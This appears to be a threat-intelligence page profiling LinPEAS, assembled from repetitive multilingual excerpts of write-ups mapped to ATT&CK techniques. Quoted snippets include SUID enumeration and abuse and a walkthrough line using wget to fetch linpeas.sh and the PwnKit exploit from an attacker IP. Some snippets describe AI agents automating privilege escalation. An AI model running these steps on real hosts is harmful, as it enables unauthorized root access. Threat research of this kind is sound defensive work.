Loading malware…
4 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
They started by deploying and executing an open-source tool called LinPEAS to check for local privilege escalation paths.
19 distinct techniques documented for this family, organized by ATT&CK tactic.
The content repeatedly states that threat actors 'obtained,' 'acquired,' or 'used' publicly available, open-source, legitimate, or modified tools such as Mimikatz, Cobalt Strike, PsExec, Empire, Impacket, and many others.
Повышение привилегий Privilege Escalation Exploitation for Privilege Escalation (T1068), Valid Accounts (T1078) LinPEAS, WinPEAS, ручной анализ
«LinPEAS автоматически проверяет ... cron-задачи с неправильными правами».
The agent did the repetitive part: run a scan, read the output, decide what to check next, run another... lets it run operating-system commands through ordinary database queries and read the results back.
Пост-эксплуатация - Unix Shell (T1059.004, Execution): linpeas , pspy , скрипты на bash/python
Annotations ID Technique Tactic T1204.003 Malicious Image Execution Default Configuration
«LinPEAS автоматически проверяет ... writable PATH-директории».
LinPEAS находит и подсвечивает возможный вектор развития в скомпрометированной системе, это планировщик cron... по матрицае MITRE ATT&CK это недостатки разрешений для файлов служб.
«LinPEAS автоматически проверяет ... cron-задачи с неправильными правами».
Повышение привилегий Privilege Escalation Exploitation for Privilege Escalation (T1068), Valid Accounts (T1078) LinPEAS, WinPEAS, ручной анализ
«LinPEAS автоматически проверяет ... cron-задачи с неправильными правами».
«LinPEAS помогает найти путь от low-priv пользователя до root через мисконфигурации (Exploitation for Privilege Escalation, T1068)».
Повышение привилегий Privilege Escalation Exploitation for Privilege Escalation (T1068), Valid Accounts (T1078) LinPEAS, WinPEAS, ручной анализ
初期ホストでは、コマンド「sudo」と「find」にSUIDビットが設定されている。Judge PrivEsc Agent は SUID ビットが設定された「find」コマンドを使用した権限昇格の手法を提案しています。
«find / -perm -4000 -type f ... ищет файлы с SUID-битом — потенциальные векторы повышения привилегий»; «SUID на python ... SUID на nmap».
Повышение привилегий Privilege Escalation Exploitation for Privilege Escalation (T1068), Valid Accounts (T1078) LinPEAS, WinPEAS, ручной анализ
«LinPEAS автоматически проверяет ... writable PATH-директории».
LinPEAS находит и подсвечивает возможный вектор развития в скомпрометированной системе, это планировщик cron... по матрицае MITRE ATT&CK это недостатки разрешений для файлов служб.
after getting the foothold and searching a bit using linpeas for privilege escalation i found out a ssh file for another user
«credentials в конфигурационных файлах (техника Credentials In Files, T1552.001, Credential Access)».
None of the commands were exotic. LinPEAS, a standard script that hunts for privilege escalation paths on Linux. A search for files carrying elevated permissions.
«LinPEAS для автоматического аудита системы (сбор данных по System Information Discovery, T1082...)».
The behavioral fingerprint of automated Linux enumeration is distinctive ... dozens of find calls from the same PID within seconds.
«...сбор данных по System Information Discovery, T1082 и Account Discovery, T1087».
Transferred linpeas... Interesting finds: - Found docker installed... docker interface (docker0) also shown in IP routing table.
With a stable shell, I transferred LinPEAS to the target using a Python HTTP server ... wget http://192.168.100.199/linpeas.sh ... On the target ... wget http://192.168.100.199/PwnKit
3 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.